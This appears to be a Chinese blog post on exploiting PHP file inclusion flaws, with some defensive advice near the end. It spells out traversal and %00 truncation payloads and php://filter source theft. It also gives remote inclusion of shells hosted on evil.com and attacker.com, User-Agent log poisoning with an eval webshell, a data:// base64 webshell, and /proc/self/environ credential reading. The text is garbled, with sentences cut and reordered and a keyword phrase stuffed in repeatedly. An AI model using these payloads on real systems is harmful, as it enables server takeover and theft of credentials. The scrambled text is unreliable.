文件包含漏洞渗透
```html 一个网站,文件URL长这样: 本地文件包含(LFI)的渗透本质就一句话:程序把用户能控制的参数当文件路径去读取或执行。PHP里那些 远程文件包含(RFI)更干脆。前提是 光读文件不够,得拿shell。LFI配合文件上传是经典组合拳。上传一个图片马,里面塞PHP代码,然后用LFI去包含它。但图片马经常被二次渲染,代码被洗掉。更稳的办法是包含日志。Apache的 PHP的 防御这事,说复杂也简单。别用用户输入拼路径,白名单固定几个文件名,比如 我见过最离谱的案例,一个政府网站,参数文件包含漏洞渗透
http://example.com/index.php?包含page=about。你顺手把about换成../../../../etc/passwd,漏洞回车。渗透屏幕上跳出root:x:0:0:root:/root:/bin/bash。文件这不是包含电影,是漏洞文件包含漏洞最赤裸的现场。include()、文件require()、包含include_once(),漏洞只要参数没过滤干净,渗透就等于把服务器文件系统的文件钥匙递给了攻击者。我见过一个CMS,包含后台模板加载功能直接写成include($_GET['tpl'].'.php'),漏洞连目录跳转都不拦。你猜怎么着??tpl=../../../../etc/passwd%00,在PHP 5.3.4之前,%00截断直接读走密码文件。版本一换,截断失效,但攻击者换个思路——用php://filter把源码转成base64读出来。源码里藏着数据库密码,比读passwd更刺激。allow_url_include=On,这在默认配置里是关的,但总有人手贱打开。一旦开了,?page=http://evil.com/shell.txt,服务器就去下载你的shell并执行。我印象最深的是一个老旧论坛,参数叫language,值直接拼进include。攻击者把shell.txt后缀改成.jpg传到自己服务器,因为有的WAF只拦.txt。结果论坛服务器乖乖请求http://attacker.com/shell.jpg,PHP引擎可不管后缀,里面<?php system($_GET['c']); ?>照样跑。一个回车,服务器变肉鸡。access.log里会记录User-Agent,你发一个请求,UA写成<?php eval($_POST['x']); ?>,日志里就多一行。然后LFI去包含/var/log/apache2/access.log,代码执行。这招叫“日志投毒”,我试过十几次,成功率取决于日志路径和权限。Nginx的日志格式不一样,但原理相通。php://input是另一个后门。如果allow_url_include开着,直接POST一段PHP代码,?page=php://input,代码原地执行。不需要日志,不需要上传,干净利落。可惜很多环境把这个也关了。那就用data://协议,?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+,一样能跑。前提还是那个配置。所以搞LFI,第一步永远是phpinfo()看allow_url_include和allow_url_fopen的状态。switch($_GET['page']){ case 'about': include('about.php'); break; }。非要动态,就用basename()把路径剥干净,再拼上固定目录。open_basedir限制PHP能碰的目录,allow_url_include关掉,%00截断在PHP 5.3.4之后已经修复。但现实是,很多老系统跑着PHP 5.2,补丁打不上,只能靠WAF硬扛。WAF规则一绕过,照样完蛋。?mod=../../../../../../proc/self/environ,直接读环境变量。里面居然有数据库连接串,明文。运维图省事,把密码写在环境变量里,结果被LFI一锅端。文件包含漏洞从来不是孤立的,它像一个支点,撬开的是整个服务器的信任边界。你读到的每一个文件,都可能藏着下一跳的钥匙。
-
上一篇
-
下一篇